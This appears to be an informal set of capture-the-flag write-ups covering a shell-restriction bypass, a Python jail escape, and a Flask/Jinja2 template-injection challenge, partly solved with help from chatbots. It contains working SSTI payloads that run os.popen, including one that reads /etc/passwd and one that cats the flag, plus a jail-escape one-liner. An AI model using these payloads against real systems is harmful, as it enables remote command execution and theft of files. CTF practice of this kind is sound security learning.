write up fiberglass - solved

I asked chat got questions to explain the lines not clear from docker and from index.php .... and the race condition vulnerability and

after some fails I tried ls and ls /

that allowed me to to explore the dirs of the server and then had the idea of bypassing the restrictions by injecting a script that will do what was restricted : cat /var/www/html/jail/flag filename is fiberglass, then chmod +x fiberglass... then asked gpt for a command to copy it in docker : docker cp fiberglass vuln_container:/var/www/html/jail/fiberglass then as input i entered ./fiberglass then i had output CTF{race_condition_symlink}

then that was wrong since one of the rules was to only use the website shell

so after some other fails I wondered: If the ./script did work that means the . which stands for source will work too and by curiosity and even if the flag file is not an executable

I tried : ". flag"

output: Bingo !

flag: line 1: CTF{race_condition_symlink}: command not found

write up Noname - unsolved

Goal of this challenge is eather to open a shell from the program input Or to create a dummy flag file in the same directory and display it as output of the program.

This pyjail challenge has multiple restrictions:
1- max characters in the input 30
2- important modules and symbols are forbidden
3- the standard output is compromised, it was transformed to a string as a way of simply disabling it.

First step after understanding the restrictions was to use curent LLM using chats (Chatgpt and deepseek) to find out why print does not work and also if there is a way to workaround stdout disability. After many tries the best I could find that works in displaying the flag and in the shortest way possible while respecting restrictions was :

```
open(1,'w').write(open('f').read())
```

it was short, but still too long.

Write up Portal - solved

Goal of this challenge is eather to open a shell from the program input Or to create a dummy flag file in the same directory and display it as output of the program.

Here we must inject payloads through the website and aim for navigating the directory of the server.
After exploring the app.py and searching around, the syntax had to be done this way :
-->{{ payload }}<!—

One of the payloads was:
-->{{ __import__('builtins').open('app.py').read() }}<!--
but it was blocked by Flask's template engine (Jinja2)

On the other hand this input : -->{{''.__class__.__mro__[-1].__subclasses__()}}<!--
Gave no error it outputted a huge list of subclasses

Then I asked LLMs to find out the one most promising in accessing file dirs and printing them, reply was the os._wrap_close

but finding the index was not possible with:
 [i for i, elem in enumerate(''.__class__.__mro__[-1].__subclasses__())
 if '_wrap_close' in elem.__name__]
since jinja2 would not allow it

I then asked LLM to give me worarounds and one of these was the SSTI:
-->{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}<!--

I replaced the directory with ls it gave me:

-->{{ self.__init__.__globals__.__builtins__.__import__('os').popen(´ls´).read()}}<!--
Output:

app.py flag.txt Procfile requirements.txt templates then I entered:

```
-->{{ self.__init__.__globals__.__builtins__.__import__('os').popen(´cat flag.txt
´).read()}}<!--
```

OUTPUT: BINGO

```
flag{foo}
```